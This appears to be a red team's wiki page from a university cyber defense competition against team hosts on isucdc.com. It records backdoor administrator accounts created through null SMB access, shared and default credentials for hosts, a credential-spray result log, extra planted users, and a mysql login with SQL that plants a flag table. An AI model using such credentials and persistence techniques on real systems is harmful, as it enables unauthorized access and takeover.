Red Wiki

Team 1:    No Red Assignee

Team 2:    No Red Assignee

Team 3:    No Red Assignee

Team 4:    No Red Assignee

Team 5:    No Red Assignee

Team 7:    No Red Assignee

Team 8:    No Red Assignee

Team 9:    No Red Assignee

Team 11:    No Red Assignee

Team 12:    No Red Assignee

Team 13:    No Red Assignee

Backdoor local admin user on LP for team 1, 4, 6, 10, 11, 13

Username: adminsitrator

Password: Redteamuser123

Abused null SMB authentication, wrote a powershell script that creates local user and adds to Administrators local group

NOTE: Team 1 and Team 4 appear to have removed access for the backdoor user, however, NULL auth to the Labels SMB share is still allowed

ALSO NOTE: Team 6 and 10 are not real

SHARED CREDS
sandra.henderson->ROCK123
darren.williams->blues22
allison.hamilton->tiny85
lori.petersen->ricale

john.leguizamo:lordoftheflame, cdc:cdc, root:cdc

OK   team=1   host=www.team1.isucdc.com          user=john.leguizamo  reason=ok
OK   team=4   host=wms.team4.isucdc.com          user=cdc       reason=ok
OK   team=4   host=www.team4.isucdc.com          user=root      reason=ok
OK   team=7   host=wms.team7.isucdc.com          user=cdc       reason=ok
OK   team=7   host=www.team7.isucdc.com          user=cdc       reason=ok
OK   team=11  host=wms.team11.isucdc.com         user=root      reason=ok
OK   team=13  host=wms.team13.isucdc.com         user=cdc       reason=ok
OK   team=13  host=www.team13.isucdc.com         user=cdc       reason=ok
OK   team=13  host=db.team13.isucdc.com          user=cdc       reason=ok

Default creds found for:

- Team1

  - lp.team1.isucdc.com, RDP && SMB, Administrator:cdc

- Team4

  - wms.team4.isucdc.com, SSH, cdc:cdc

  - db.team4.isucdc.com, SSH, richard:cdc

- Team7

  - www[.]team7.isucdc.com, SSH, cdc:cdc

  - wms.team7.isucdc.com, SSH, cdc:cdc

- Team12

  - db.team12.isucdc.com, SSH, richard:cdc

- Team13

  - ad.team13.isucdc.com, LDAP, Administrator:cdc

  - www[.]team13.isucdc.com, SSH, cdc:cdc

  - lp.team13.isucdc.com, RDP && SMB, Administrator:cdc

  - wms.team13.isucdc.com, SSH, cdc:cdc

New user on teams 4,7,13 for www, wms, and db - `killer-bob:whokilledlaurapalmer` or `killer.bob:WhoKilledLauraPalmer`, or `killerbob:whokilledlaurapalmer`.

mysql -u cdc -p'cdc' -h db.team9.isucdc.com

use iseage_db;
create table if not exists red ( id int AUTO_INCREMENT PRIMARY KEY, flag VARCHAR(50) NOT NULL);
insert into red (flag) values ('Lx56MVFytdT9dhiLpmc3T457vBwbMtDV2FTEUzxEQtSrGQDSWp');
select * from red;